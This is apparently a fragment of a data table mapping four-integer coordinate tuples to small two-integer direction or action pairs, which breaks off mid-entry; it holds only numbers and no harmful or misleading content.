(9, 13, 1, -3): (0, 1), (9, 13, 1, -2): (0, 1), (9, 13, 1, -1): (0, 1), (9, 13, 1, 0): (-1, 1), (9, 13, 1, 1): (-1, 1), (9, 13, 1, 2): (-1, 1), (9, 13, 1, 3): (-1, 1), (9, 13, 1, 4): (-1, 1), (9, 13, 1, 5): (-1, 1), (9, 13, 2, -5): (0, 1), (9, 13, 2, -4): (0, 1), (9, 13, 2, -3): (0, 1), (9, 13, 2, -2): (0, 1), (9, 13, 2, -1): (0, 1), (9, 13, 2, 0): (0, 1), (9, 13, 2, 1): (0, 1), (9, 13, 2, 2): (0, 1), (9, 13, 2, 3): (0, 1), (9, 13, 2, 4): (0, 1), (9, 13, 2, 5): (0, 1), (9, 13, 3, -5): (0, 1), (9, 13, 3, -4): (0, 1), (9, 13, 3, -3): (0, 1), (9, 13, 3, -2): (0, 1), (9, 13, 3, -1): (0, 1), (9, 13, 3, 0): (0, 1), (9, 13, 3, 1): (0, 1), (9, 13, 3, 2): (0, 1), (9, 13, 3, 3): (0, 1), (9, 13, 3, 4): (0, 1), (9, 13, 3, 5): (0, 1), (9, 13, 4, -5): (0, 1), (9, 13, 4, -4): (0, 1), (9, 13, 4, -3): (0, 1), (9, 13, 4, -2): (0, 1), (9, 13, 4, -1): (0, 1), (9, 13, 4, 0): (0, 1), (9, 13, 4, 1): (0, 1), (9, 13, 4, 2): (0, 1), (9, 13, 4, 3): (0, 1), (9, 13, 4, 4): (0, 1), (9, 13, 4, 5): (0, 1), (9, 13, 5, -5): (0, 1), (9, 13, 5, -4): (0, 1), (9, 13, 5, -3): (0, 1), (9, 13, 5, -2): (0, 1), (9, 13, 5, -1): (0, 1), (9, 13, 5, 0): (0, 1), (9, 13, 5, 1): (0, 1), (9, 13, 5, 2): (0, 1), (9, 13, 5, 3): (0, 1), (9, 13, 5, 4): (0, 1), (9, 13, 5, 5): (0, 1), (9, 14, -5, -5): (0, 1), (9, 14, -5, -4): (0, 1), (9, 14, -5, -3): (0, 1), (9, 14, -5, -2): (0, 1), (9, 14, -5, -1): (0, 1), (9, 14, -5, 0): (0, 1), (9, 14, -5, 1): (0, 1), (9, 14, -5, 2): (0, 1), (9, 14, -5, 3): (0, 1), (9, 14, -5, 4): (0, 0), (9, 14, -5, 5): (-1, -1), (9, 14, -4, -5): (0, 1), (9, 14, -4, -4): (0, 1), (9, 14, -4, -3): (0, 1), (9, 14, -4, -2): (0, 1), (9, 14, -4, -1): (0, 1), (9, 14, -4, 0): (0, 1), (9, 14, -4, 1): (0, 1), (9, 14, -4, 2): (0, 1), (9, 14, -4, 3): (1, 1), (9, 14, -4, 4): (1, 1), (9, 14, -4, 5): (1, 0), (9, 14, -3, -5): (-1, 1), (9, 14, -3, -4): (-1, 1), (9, 14, -3, -3): (-1, 1), (9, 14, -3, -2): (-1, 1), (9, 14, -3, -1): (-1, 1), (9, 14, -3, 0): (-1, 1), (9, 14, -3, 1): (1, 1), (9, 14, -3, 2): (1, 1), (9, 14, -3, 3): (1, 1), (9, 14, -3, 4): (1, 1), (9, 14, -3, 5): (1, 0), (9, 14, -2, -5): (0, 1), (9, 14, -2, -4): (0, 1), (9, 14, -2, -3): (0, 1), (9, 14, -2, -2): (0, 1), (9, 14, -2, -1): (1, 1), (9, 14, -2, 0): (1, 1), (9, 14, -2, 1): (1, 1), (9, 14, -2, 2): (1, 1), (9, 14, -2, 3): (1, 1), (9, 14, -2, 4): (1, 1), (9, 14, -2, 5): (1, 0), (9, 14, -1, -5): (-1, 1), (9, 14, -1, -4): (-1, 1), (9, 14, -1, -3): (-1, 1), (9, 14, -1, -2): (-1, 1), (9, 14, -1, -1): (1, 1), (9, 14, -1, 0): (1, 1), (9, 14, -1, 1): (1, 1), (9, 14, -1, 2): (1, 1), (9, 14, -1, 3): (0, 1), (9, 14, -1, 4): (0, 1), (9, 14, -1, 5): (0, 1), (9, 14, 0, -5): (1, 1), (9, 14, 0, -4): (1, 1), (9, 14, 0, -3): (1, 1), (9, 14, 0, -2): (1, 1), (9, 14, 0, -1): (0, 1), (9, 14, 0, 0): (0, 1), (9, 14, 0, 1): (0, 1), (9, 14, 0, 2): (0, 1), (9, 14, 0, 3): (-1, 1), (9, 14, 0, 4): (-1, 1), (9, 14, 0, 5): (-1, 1), (9, 14, 1, -5): (0, 1), (9, 14, 1, -4): (0, 1), (9, 14, 1, -3): (0, 1), (9, 14, 1, -2): (0, 1), (9, 14, 1, -1): (0, 1), (9, 14, 1, 0): (-1, 1), (9, 14, 1, 1): (-1, 1), (9, 14, 1, 2): (-1, 1), (9, 14, 1, 3): (-1, 1), (9, 14, 1, 4): (-1, 1), (9, 14, 1, 5): (-1, 1), (9, 14, 2, -5): (0, 1), (9, 14, 2, -4): (0, 1), (9, 14, 2, -3): (0, 1), (9, 14, 2, -2): (0, 1), (9, 14, 2, -1): (0, 1), (9, 14, 2, 0): (0, 1), (9, 14, 2, 1): (0, 1), (9, 14, 2, 2): (0, 1), (9, 14, 2, 3): (0, 1), (9, 14, 2, 4): (0, 0), (9, 14, 2, 5): (-1, -1), (9, 14, 3, -5): (0, 1), (9, 14, 3, -4): (0, 1), (9, 14, 3, -3): (0, 1), (9, 14, 3, -2): (0, 1), (9, 14, 3, -1): (0, 1), (9, 14, 3, 0): (0, 1), (9, 14, 3, 1): (0, 1), (9, 14, 3, 2): (0, 1), (9, 14, 3, 3): (0, 1), (9, 14, 3, 4): (0, 0), (9, 14, 3, 5): (-1, -1), (9, 14, 4, -5): (0, 1), (9, 14, 4, -4): (0, 1), (9, 14, 4, -3): (0, 1), (9, 14, 4, -2): (0, 1), (9, 14, 4, -1): (0, 1), (9, 14, 4, 0): (0, 1), (9, 14, 4, 1): (0, 1), (9, 14, 4, 2): (0, 1), (9, 14, 4, 3): (0, 1), (9, 14, 4, 4): (0, 0), (9, 14, 4, 5): (-1, -1), (9, 14, 5, -5): (0, 1), (9, 14, 5, -4): (0, 1), (9, 14, 5, -3): (0, 1), (9, 14, 5, -2): (0, 1), (9, 14, 5, -1): (0, 1), (9, 14, 5, 0): (0, 1), (9, 14, 5, 1): (0, 1), (9, 14, 5, 2): (0, 1), (9, 14, 5, 3): (0, 1), (9, 14, 5, 4): (0, 0), (9, 14, 5, 5): (-1, -1), (9, 15, -5, -5): (0, 1), (9, 15, -5, -4): (0, 1), (9, 15, -5, -3): (0, 1), (9, 15, -5, -2): (0, 1), (9, 15, -5, -1): (0, 1), (9, 15, -5, 0): (0, 1), (9, 15, -5, 1): (0, 1), (9, 15, -5, 2): (0, 1), (9, 15, -5, 3): (0, 0), (9, 15, -5, 4): (0, 1), (9, 15, -5, 5): (0, 1), (9, 15, -4, -5): (0, 1), (9, 15, -4, -4): (0, 1), (9, 15, -4, -3): (0, 1), (9, 15, -4, -2): (0, 1), (9, 15, -4, -1): (0, 1), (9, 15, -4, 0): (0, 1), (9, 15, -4, 1): (0, 1), (9, 15, -4, 2): (0, 1), (9, 15, -4, 3): (1, 1), (9, 15, -4, 4): (0, 1), (9, 15, -4, 5): (0, 1), (9, 15, -3, -5): (-1, 1), (9, 15, -3, -4): (-1, 1), (9, 15, -3, -3): (-1, 1), (9, 15, -3, -2): (-1, 1), (9, 15, -3, -1): (-1, 1), (9, 15, -3, 0): (-1, 1), (9, 15, -3, 1): (1, 1), (9, 15, -3, 2): (1, 1), (9, 15, -3, 3): (1, 1), (9, 15, -3, 4): (1, 1), (9, 15, -3, 5): (1, 0), (9, 15, -2, -5): (0, 1), (9, 15, -2, -4): (0, 1), (9, 15, -2, -3): (0, 1), (9, 15, -2, -2): (0, 1), (9, 15, -2, -1): (1, 1), (9, 15, -2, 0): (1, 1), (9, 15, -2, 1): (1, 1), (9, 15, -2, 2): (1, 1), (9, 15, -2, 3): (1, 1), (9, 15, -2, 4): (1, 1), (9, 15, -2, 5): (1, 0), (9, 15, -1, -5): (-1, 1), (9, 15, -1, -4): (-1, 1), (9, 15, -1, -3): (-1, 1), (9, 15, -1, -2): (-1, 1), (9, 15, -1, -1): (1, 1), (9, 15, -1, 0): (1, 1), (9, 15, -1, 1): (1, 1), (9, 15, -1, 2): (1, 1), (9, 15, -1, 3): (1, 1), (9, 15, -1, 4): (0, 1), (9, 15, -1, 5): (0, 1), (9, 15, 0, -5): (1, 1), (9, 15, 0, -4): (1, 1), (9, 15, 0, -3): (1, 1), (9, 15, 0, -2): (1, 1), (9, 15, 0, -1): (0, 1), (9, 15, 0, 0): (0, 1), (9, 15, 0, 1): (0, 1), (9, 15, 0, 2): (0, 1), (9, 15, 0, 3): (0, 1), (9, 15, 0, 4): (-1, 1), (9, 15, 0, 5): (-1, 1), (9, 15, 1, -5): (0, 1), (9, 15, 1, -4): (0, 1), (9, 15, 1, -3): (0, 1), (9, 15, 1, -2): (0, 1), (9, 15, 1, -1): (0, 1), (9, 15, 1, 0): (-1, 1), (9, 15, 1, 1): (-1, 1), (9, 15, 1, 2): (-1, 1), (9, 15, 1, 3): (-1, 1), (9, 15, 1, 4): (-1, 0), (9, 15, 1, 5): (-1, -1), (9, 15, 2, -5): (0, 1), (9, 15, 2, -4): (0, 1), (9, 15, 2, -3): (0, 1), (9, 15, 2, -2): (0, 1), (9, 15, 2, -1): (0, 1), (9, 15, 2, 0): (0, 1), (9, 15, 2, 1): (0, 1), (9, 15, 2, 2): (0, 1), (9, 15, 2, 3): (0, 0), (9, 15, 2, 4): (0, 1), (9, 15, 2, 5): (0, 1), (9, 15, 3, -5): (0, 1), (9, 15, 3, -4): (0, 1), (9, 15, 3, -3): (0, 1), (9, 15, 3, -2): (0, 1), (9, 15, 3, -1): (0, 1), (9, 15, 3, 0): (0, 1), (9, 15, 3, 1): (0, 1), (9, 15, 3, 2): (0, 1), (9, 15, 3, 3): (0, 0), (9, 15, 3, 4): (0, 1), (9, 15, 3, 5): (0, 1), (9, 15, 4, -5): (0, 1), (9, 15, 4, -4): (0, 1), (9, 15, 4, -3): (0, 1), (9, 15, 4, -2): (0, 1), (9, 15, 4, -1): (0, 1), (9, 15, 4, 0): (0, 1), (9, 15, 4, 1): (0, 1), (9, 15, 4, 2): (0, 1), (9, 15, 4, 3): (0, 0), (9, 15, 4, 4): (0, 1), (9, 15, 4, 5): (0, 1), (9, 15, 5, -5): (0, 1), (9, 15, 5, -4): (0, 1), (9, 15, 5, -3): (0, 1), (9, 15, 5, -2): (0, 1), (9, 15, 5, -1): (0, 1), (9, 15, 5, 0): (0, 1), (9, 15, 5, 1): (0, 1), (9, 15, 5, 2): (0, 1), (9, 15, 5, 3): (0, 0), (9, 15, 5, 4): (0, 1), (9, 15, 5, 5): (0, 1), (9, 16, -5, -5): (0, 1), (9, 16, -5, -4): (0, 1), (9, 16, -5, -3): (0, 1), (9, 16, -5, -2): (0, 1), (9, 16, -5, -1): (0, 1), (9, 16, -5, 0): (0, 1), (9, 16, -5, 1): (0, 1), (9, 16, -5, 2): (0, 0), (9, 16, -5, 3): (0, 1), (9, 16, -5, 4): (0, 1), (9, 16, -5, 5): (0, 1), (9, 16, -4, -5): (0, 1), (9, 16, -4, -4): (0, 1), (9, 16, -4, -3): (0, 1), (9, 16, -4, -2): (0, 1), (9, 16, -4, -1): (0, 1), (9, 16, -4, 0): (0, 1), (9, 16, -4, 1): (0, 1), (9, 16, -4, 2): (1, 1), (9, 16, -4, 3): (0, 1), (9, 16, -4, 4): (1, 1), (9, 16, -4, 5): (1, 0), (9, 16, -3, -5): (-1, 1), (9, 16, -3, -4): (-1, 1), (9, 16, -3, -3): (-1, 1), (9, 16, -3, -2): (-1, 1), (9, 16, -3, -1): (-1, 1), (9, 16, -3, 0): (-1, 1), (9, 16, -3, 1): (1, 1), (9, 16, -3, 2): (1, 1), (9, 16, -3, 3): (1, 1), (9, 16, -3, 4): (1, 1), (9, 16, -3, 5): (1, 0), (9, 16, -2, -5): (0, 1), (9, 16, -2, -4): (0, 1), (9, 16, -2, -3): (0, 1), (9, 16, -2, -2): (0, 1), (9, 16, -2, -1): (1, 1), (9, 16, -2, 0): (1, 1), (9, 16, -2, 1): (1, 1), (9, 16, -2, 2): (1, 1), (9, 16, -2, 3): (1, 1), (9, 16, -2, 4): (1, 1), (9, 16, -2, 5): (1, 0), (9, 16, -1, -5): (-1, 1), (9, 16, -1, -4): (-1, 1), (9, 16, -1, -3): (-1, 1), (9, 16, -1, -2): (-1, 1), (9, 16, -1, -1): (1, 1), (9, 16, -1, 0): (1, 1), (9, 16, -1, 1): (1, 1), (9, 16, -1, 2): (1, 1), (9, 16, -1, 3): (0, 1), (9, 16, -1, 4): (0, 1), (9, 16, -1, 5): (0, 1), (9, 16, 0, -5): (1, 1), (9, 16, 0, -4): (1, 1), (9, 16, 0, -3): (1, 1), (9, 16, 0, -2): (1, 1), (9, 16, 0, -1): (0, 1), (9, 16, 0, 0): (0, 1), (9, 16, 0, 1): (0, 1), (9, 16, 0, 2): (0, 1), (9, 16, 0, 3): (-1, 1), (9, 16, 0, 4): (-1, 1), (9, 16, 0, 5): (-1, 1), (9, 16, 1, -5): (0, 1), (9, 16, 1, -4): (0, 1), (9, 16, 1, -3): (0, 1), (9, 16, 1, -2): (0, 1), (9, 16, 1, -1): (0, 1), (9, 16, 1, 0): (-1, 1), (9, 16, 1, 1): (-1, 1), (9, 16, 1, 2): (-1, 1), (9, 16, 1, 3): (-1, 1), (9, 16, 1, 4): (-1, 0), (9, 16, 1, 5): (-1, -1), (9, 16, 2, -5): (0, 1), (9, 16, 2, -4): (0, 1), (9, 16, 2, -3): (0, 1), (9, 16, 2, -2): (0, 1), (9, 16, 2, -1): (0, 1), (9, 16, 2, 0): (0, 1), (9, 16, 2, 1): (0, 1), (9, 16, 2, 2): (0, 0), (9, 16, 2, 3): (0, 1), (9, 16, 2, 4): (0, 1), (9, 16, 2, 5): (0, 1), (9, 16, 3, -5): (0, 1), (9, 16, 3, -4): (0, 1), (9, 16, 3, -3): (0, 1), (9, 16, 3, -2): (0, 1), (9, 16, 3, -1): (0, 1), (9, 16, 3, 0): (0, 1), (9, 16, 3, 1): (0, 1), (9, 16, 3, 2): (0, 0), (9, 16, 3, 3): (0, 1), (9, 16, 3, 4): (0, 1), (9, 16, 3, 5): (0, 1), (9, 16, 4, -5): (0, 1), (9, 16, 4, -4): (0, 1), (9, 16, 4, -3): (0, 1), (9, 16, 4, -2): (0, 1), (9, 16, 4, -1): (0, 1), (9, 16, 4, 0): (0, 1), (9, 16, 4, 1): (0, 1), (9, 16, 4, 2): (0, 0), (9, 16, 4, 3): (0, 1), (9, 16, 4, 4): (0, 1), (9, 16, 4, 5): (0, 1), (9, 16, 5, -5): (0, 1), (9, 16, 5, -4): (0, 1), (9, 16, 5, -3): (0, 1), (9, 16, 5, -2): (0, 1), (9, 16, 5, -1): (0, 1), (9, 16, 5, 0): (0, 1), (9, 16, 5, 1): (0, 1), (9, 16, 5, 2): (0, 0), (9, 16, 5, 3): (0, 1), (9, 16, 5, 4): (0, 1), (9, 16, 5, 5): (0, 1), (9, 17, -5, -5): (0, 1), (9, 17, -5, -4): (0, 1), (9, 17, -5, -3): (0, 1), (9, 17, -5, -2): (0, 1), (9, 17, -5, -1): (0, 1), (9, 17, -5, 0): (0, 1), (9, 17, -5, 1): (0, 0), (9, 17, -5, 2): (0, 1), (9, 17, -5, 3): (0, 1), (9, 17, -5, 4): (0, 1), (9, 17, -5, 5): (0, 1), (9, 17, -4, -5): (0, 1), (9, 17, -4, -4): (0, 1), (9, 17, -4, -3): (0, 1), (9, 17, -4, -2): (0, 1), (9, 17, -4, -1): (0, 1), (9, 17, -4, 0): (0, 1), (9, 17, -4, 1): (0, 0), (9, 17, -4, 2): (0, 1), (9, 17, -4, 3): (1, 1), (9, 17, -4, 4): (0, 1), (9, 17, -4, 5): (0, 1), (9, 17, -3, -5): (-1, 1), (9, 17, -3, -4): (-1, 1), (9, 17, -3, -3): (-1, 1), (9, 17, -3, -2): (-1, 1), (9, 17, -3, -1): (-1, 1), (9, 17, -3, 0): (-1, 1), (9, 17, -3, 1): (1, 1), (9, 17, -3, 2): (1, 1), (9, 17, -3, 3): (1, 1), (9, 17, -3, 4): (1, 1), (9, 17, -3, 5): (1, 0), (9, 17, -2, -5): (0, 1), (9, 17, -2, -4): (0, 1), (9, 17, -2, -3): (0, 1), (9, 17, -2, -2): (0, 1), (9, 17, -2, -1): (1, 1), (9, 17, -2, 0): (1, 1), (9, 17, -2, 1): (1, 1), (9, 17, -2, 2): (1, 1), (9, 17, -2, 3): (1, 1), (9, 17, -2, 4): (1, 1), (9, 17, -2, 5): (1, 0), (9, 17, -1, -5): (-1, 1), (9, 17, -1, -4): (-1, 1), (9, 17, -1, -3): (-1, 1), (9, 17, -1, -2): (1, 1), (9, 17, -1, -1): (1, 1), (9, 17, -1, 0): (1, 1), (9, 17, -1, 1): (1, 1), (9, 17, -1, 2): (1, 1), (9, 17, -1, 3): (0, 1), (9, 17, -1, 4): (0, 1), (9, 17, -1, 5): (0, 1), (9, 17, 0, -5): (1, 1), (9, 17, 0, -4): (1, 1), (9, 17, 0, -3): (1, 1), (9, 17, 0, -2): (1, 1), (9, 17, 0, -1): (0, 1), (9, 17, 0, 0): (0, 1), (9, 17, 0, 1): (0, 1), (9, 17, 0, 2): (0, 1), (9, 17, 0, 3): (-1, 1), (9, 17, 0, 4): (-1, 1), (9, 17, 0, 5): (-1, 1), (9, 17, 1, -5): (0, 1), (9, 17, 1, -4): (0, 1), (9, 17, 1, -3): (0, 1), (9, 17, 1, -2): (0, 1), (9, 17, 1, -1): (0, 1), (9, 17, 1, 0): (-1, 1), (9, 17, 1, 1): (-1, 1), (9, 17, 1, 2): (-1, 1), (9, 17, 1, 3): (-1, 0), (9, 17, 1, 4): (-1, -1), (9, 17, 1, 5): (-1, -1), (9, 17, 2, -5): (0, 1), (9, 17, 2, -4): (0, 1), (9, 17, 2, -3): (0, 1), (9, 17, 2, -2): (0, 1), (9, 17, 2, -1): (0, 1), (9, 17, 2, 0): (0, 1), (9, 17, 2, 1): (0, 0), (9, 17, 2, 2): (0, 1), (9, 17, 2, 3): (0, 1), (9, 17, 2, 4): (0, 1), (9, 17, 2, 5): (0, 1), (9, 17, 3, -5): (0, 1), (9, 17, 3, -4): (0, 1), (9, 17, 3, -3): (0, 1), (9, 17, 3, -2): (0, 1), (9, 17, 3, -1): (0, 1), (9, 17, 3, 0): (0, 1), (9, 17, 3, 1): (0, 0), (9, 17, 3, 2): (0, 1), (9, 17, 3, 3): (0, 1), (9, 17, 3, 4): (0, 1), (9, 17, 3, 5): (0, 1), (9, 17, 4, -5): (0, 1), (9, 17, 4, -4): (0, 1), (9, 17, 4, -3): (0, 1), (9, 17, 4, -2): (0, 1), (9, 17, 4, -1): (0, 1), (9, 17, 4, 0): (0, 1), (9, 17, 4, 1): (0, 0), (9, 17, 4, 2): (0, 1), (9, 17, 4, 3): (0, 1), (9, 17, 4, 4): (0, 1), (9, 17, 4, 5): (0, 1), (9, 17, 5, -5): (0, 1), (9, 17, 5, -4): (0, 1), (9, 17, 5, -3): (0, 1), (9, 17, 5, -2): (0, 1), (9, 17, 5, -1): (0, 1), (9, 17, 5, 0): (0, 1), (9, 17, 5, 1): (0, 0), (9, 17, 5, 2): (0, 1), (9, 17, 5, 3): (0, 1), (9, 17, 5, 4): (0, 1), (9, 17, 5, 5): (0, 1), (9, 18, -5, -5): (0, 1), (9, 18, -5, -4): (0, 1), (9, 18, -5, -3): (0, 1), (9, 18, -5, -2): (0, 1), (9, 18, -5, -1): (0, 1), (9, 18, -5, 0): (0, 0), (9, 18, -5, 1): (0, 1), (9, 18, -5, 2): (0, 1), (9, 18, -5, 3): (0, 1), (9, 18, -5, 4): (0, 1), (9, 18, -5, 5): (0, 1), (9, 18, -4, -5): (0, 1), (9, 18, -4, -4): (0, 1), (9, 18, -4, -3): (0, 1), (9, 18, -4, -2): (0, 1), (9, 18, -4, -1): (0, 1), (9, 18, -4, 0): (0, 0), (9, 18, -4, 1): (0, 1), (9, 18, -4, 2): (0, 1), (9, 18, -4, 3): (0, 1), (9, 18, -4, 4): (0, 1), (9, 18, -4, 5): (0, 1), (9, 18, -3, -5): (-1, 1), (9, 18, -3, -4): (-1, 1), (9, 18, -3, -3): (-1, 1), (9, 18, -3, -2): (-1, 1), (9, 18, -3, -1): (-1, 1), (9, 18, -3, 0): (-1, 0), (9, 18, -3, 1): (1, 1), (9, 18, -3, 2): (1, 1), (9, 18, -3, 3): (1, 1), (9, 18, -3, 4): (1, 1), (9, 18, -3, 5): (1, 0), (9, 18, -2, -5): (0, 1), (9, 18, -2, -4): (0, 1), (9, 18, -2, -3): (0, 1), (9, 18, -2, -2): (0, 1), (9, 18, -2, -1): (1, 1), (9, 18, -2, 0): (1, 1), (9, 18, -2, 1): (1, 1), (9, 18, -2, 2): (1, 1), (9, 18, -2, 3): (1, 1), (9, 18, -2, 4): (1, 1), (9, 18, -2, 5): (1, 0), (9, 18, -1, -5): (-1, 1), (9, 18, -1, -4): (-1, 1), (9, 18, -1, -3): (-1, 1), (9, 18, -1, -2): (1, 1), (9, 18, -1, -1): (1, 1), (9, 18, -1, 0): (1, 1), (9, 18, -1, 1): (1, 1), (9, 18, -1, 2): (1, 1), (9, 18, -1, 3): (0, 1), (9, 18, -1, 4): (0, 1), (9, 18, -1, 5): (0, 1), (9, 18, 0, -5): (1, 1), (9, 18, 0, -4): (1, 1), (9, 18, 0, -3): (1, 1), (9, 18, 0, -2): (1, 1), (9, 18, 0, -1): (0, 1), (9, 18, 0, 0): (0, 1), (9, 18, 0, 1): (0, 1), (9, 18, 0, 2): (0, 1), (9, 18, 0, 3): (-1, 1), (9, 18, 0, 4): (-1, 1), (9, 18, 0, 5): (-1, 1), (9, 18, 1, -5): (0, 1), (9, 18, 1, -4): (0, 1), (9, 18, 1, -3): (0, 1), (9, 18, 1, -2): (0, 1), (9, 18, 1, -1): (0, 1), (9, 18, 1, 0): (-1, 1), (9, 18, 1, 1): (-1, 1), (9, 18, 1, 2): (-1, 1), (9, 18, 1, 3): (-1, 0), (9, 18, 1, 4): (-1, -1), (9, 18, 1, 5): (-1, -1), (9, 18, 2, -5): (0, 1), (9, 18, 2, -4): (0, 1), (9, 18, 2, -3): (0, 1), (9, 18, 2, -2): (0, 1), (9, 18, 2, -1): (0, 1), (9, 18, 2, 0): (0, 0), (9, 18, 2, 1): (0, 1), (9, 18, 2, 2): (0, 1), (9, 18, 2, 3): (0, 1), (9, 18, 2, 4): (0, 1), (9, 18, 2, 5): (0, 1), (9, 18, 3, -5): (0, 1), (9, 18, 3, -4): (0, 1), (9, 18, 3, -3): (0, 1), (9, 18, 3, -2): (0, 1), (9, 18, 3, -1): (0, 1), (9, 18, 3, 0): (0, 0), (9, 18, 3, 1): (0, 1), (9, 18, 3, 2): (0, 1), (9, 18, 3, 3): (0, 1), (9, 18, 3, 4): (0, 1), (9, 18, 3, 5): (0, 1), (9, 18, 4, -5): (0, 1), (9, 18, 4, -4): (0, 1), (9, 18, 4, -3): (0, 1), (9, 18, 4, -2): (0, 1), (9, 18, 4, -1): (0, 1), (9, 18, 4, 0): (0, 0), (9, 18, 4, 1): (0, 1), (9, 18, 4, 2): (0, 1), (9, 18, 4, 3): (0, 1), (9, 18, 4, 4): (0, 1), (9, 18, 4, 5): (0, 1), (9, 18, 5, -5): (0, 1), (9, 18, 5, -4): (0, 1), (9, 18, 5, -3): (0, 1), (9, 18, 5, -2): (0, 1), (9, 18, 5, -1): (0, 1), (9, 18, 5, 0): (0, 0), (9, 18, 5, 1): (0, 1), (9, 18, 5, 2): (0, 1), (9, 18, 5, 3): (0, 1), (9, 18, 5, 4): (0, 1), (9, 18, 5, 5): (0, 1), (9, 19, -5, -5): (0, 1), (9, 19, -5, -4): (0, 1), (9, 19, -5, -3): (0, 1), (9, 19, -5, -2): (0, 1), (9, 19, -5, -1): (0, 0), (9, 19, -5, 0): (0, 1), (9, 19, -5, 1): (0, 1), (9, 19, -5, 2): (0, 1), (9, 19, -5, 3): (0, 1), (9, 19, -5, 4): (0, 1), (9, 19, -5, 5): (0, 1), (9, 19, -4, -5): (0, 1), (9, 19, -4, -4): (0, 1), (9, 19, -4, -3): (0, 1), (9, 19, -4, -2): (0, 1), (9, 19, -4, -1): (0, 0), (9, 19, -4, 0): (0, 1), (9, 19, -4, 1): (0, 1), (9, 19, -4, 2): (0, 1), (9, 19, -4, 3): (0, 1), (9, 19, -4, 4): (1, 1), (9, 19, -4, 5): (1, 0), (9, 19, -3, -5): (-1, 1), (9, 19, -3, -4): (-1, 1), (9, 19, -3, -3): (-1, 1), (9, 19, -3, -2): (-1, 1), (9, 19, -3, -1): (-1, 0), (9, 19, -3, 0): (-1, 1), (9, 19, -3, 1): (1, 1), (9, 19, -3, 2): (1, 1), (9, 19, -3, 3): (1, 1), (9, 19, -3, 4): (0, 1), (9, 19, -3, 5): (0, 1), (9, 19, -2, -5): (0, 1), (9, 19, -2, -4): (0, 1), (9, 19, -2, -3): (0, 1), (9, 19, -2, -2): (0, 1), (9, 19, -2, -1): (1, 1), (9, 19, -2, 0): (1, 1), (9, 19, -2, 1): (1, 1), (9, 19, -2, 2): (1, 1), (9, 19, -2, 3): (1, 1), (9, 19, -2, 4): (-1, 1), (9, 19, -2, 5): (-1, 1), (9, 19, -1, -5): (-1, 1), (9, 19, -1, -4): (-1, 1), (9, 19, -1, -3): (-1, 1), (9, 19, -1, -2): (1, 1), (9, 19, -1, -1): (1, 1), (9, 19, -1, 0): (1, 1), (9, 19, -1, 1): (1, 1), (9, 19, -1, 2): (0, 1), (9, 19, -1, 3): (0, 1), (9, 19, -1, 4): (0, 1), (9, 19, -1, 5): (0, 1), (9, 19, 0, -5): (1, 1), (9, 19, 0, -4): (1, 1), (9, 19, 0, -3): (1, 1), (9, 19, 0, -2): (1, 1), (9, 19, 0, -1): (1, 0), (9, 19, 0, 0): (0, 1), (9, 19, 0, 1): (0, 1), (9, 19, 0, 2): (-1, 1), (9, 19, 0, 3): (-1, 1), (9, 19, 0, 4): (-1, 1), (9, 19, 0, 5): (-1, 1), (9, 19, 1, -5): (0, 1), (9, 19, 1, -4): (0, 1), (9, 19, 1, -3): (0, 1), (9, 19, 1, -2): (0, 1), (9, 19, 1, -1): (0, 0), (9, 19, 1, 0): (-1, 1), (9, 19, 1, 1): (-1, 1), (9, 19, 1, 2): (-1, 0), (9, 19, 1, 3): (-1, -1), (9, 19, 1, 4): (-1, -1), (9, 19, 1, 5): (-1, -1), (9, 19, 2, -5): (0, 1), (9, 19, 2, -4): (0, 1), (9, 19, 2, -3): (0, 1), (9, 19, 2, -2): (0, 1), (9, 19, 2, -1): (0, 0), (9, 19, 2, 0): (0, 1), (9, 19, 2, 1): (0, 1), (9, 19, 2, 2): (0, 1), (9, 19, 2, 3): (0, 1), (9, 19, 2, 4): (0, 1), (9, 19, 2, 5): (0, 1), (9, 19, 3, -5): (0, 1), (9, 19, 3, -4): (0, 1), (9, 19, 3, -3): (0, 1), (9, 19, 3, -2): (0, 1), (9, 19, 3, -1): (0, 0), (9, 19, 3, 0): (0, 1), (9, 19, 3, 1): (0, 1), (9, 19, 3, 2): (0, 1), (9, 19, 3, 3): (0, 1), (9, 19, 3, 4): (0, 1), (9, 19, 3, 5): (0, 1), (9, 19, 4, -5): (0, 1), (9, 19, 4, -4): (0, 1), (9, 19, 4, -3): (0, 1), (9, 19, 4, -2): (0, 1), (9, 19, 4, -1): (0, 0), (9, 19, 4, 0): (0, 1), (9, 19, 4, 1): (0, 1), (9, 19, 4, 2): (0, 1), (9, 19, 4, 3): (0, 1), (9, 19, 4, 4): (0, 1), (9, 19, 4, 5): (0, 1), (9, 19, 5, -5): (0, 1), (9, 19, 5, -4): (0, 1), (9, 19, 5, -3): (0, 1), (9, 19, 5, -2): (0, 1), (9, 19, 5, -1): (0, 0), (9, 19, 5, 0): (0, 1), (9, 19, 5, 1): (0, 1), (9, 19, 5, 2): (0, 1), (9, 19, 5, 3): (0, 1), (9, 19, 5, 4): (0, 1), (9, 19, 5, 5): (0, 1), (9, 20, -5, -5): (0, 1), (9, 20, -5, -4): (0, 1), (9, 20, -5, -3): (0, 1), (9, 20, -5, -2): (0, 0), (9, 20, -5, -1): (0, 1), (9, 20, -5, 0): (0, 1), (9, 20, -5, 1): (0, 1), (9, 20, -5, 2): (0, 1), (9, 20, -5, 3): (0, 1), (9, 20, -5, 4): (0, 1), (9, 20, -5, 5): (0, 1), (9, 20, -4, -5): (0, 1), (9, 20, -4, -4): (0, 1), (9, 20, -4, -3): (0, 1), (9, 20, -4, -2): (0, 0), (9, 20, -4, -1): (0, 1), (9, 20, -4, 0): (0, 1), (9, 20, -4, 1): (0, 1), (9, 20, -4, 2): (0, 1), (9, 20, -4, 3): (1, 1), (9, 20, -4, 4): (1, 1), (9, 20, -4, 5): (1, 0), (9, 20, -3, -5): (-1, 1), (9, 20, -3, -4): (-1, 1), (9, 20, -3, -3): (-1, 1), (9, 20, -3, -2): (-1, 0), (9, 20, -3, -1): (-1, 1), (9, 20, -3, 0): (1, 1), (9, 20, -3, 1): (1, 1), (9, 20, -3, 2): (1, 1), (9, 20, -3, 3): (0, 1), (9, 20, -3, 4): (0, 1), (9, 20, -3, 5): (0, 1), (9, 20, -2, -5): (0, 1), (9, 20, -2, -4): (0, 1), (9, 20, -2, -3): (0, 1), (9, 20, -2, -2): (0, 1), (9, 20, -2, -1): (1, 1), (9, 20, -2, 0): (1, 1), (9, 20, -2, 1): (1, 1), (9, 20, -2, 2): (1, 1), (9, 20, -2, 3): (-1, 1), (9, 20, -2, 4): (-1, 1), (9, 20, -2, 5): (-1, 1), (9, 20, -1, -5): (-1, 1), (9, 20, -1, -4): (-1, 1), (9, 20, -1, -3): 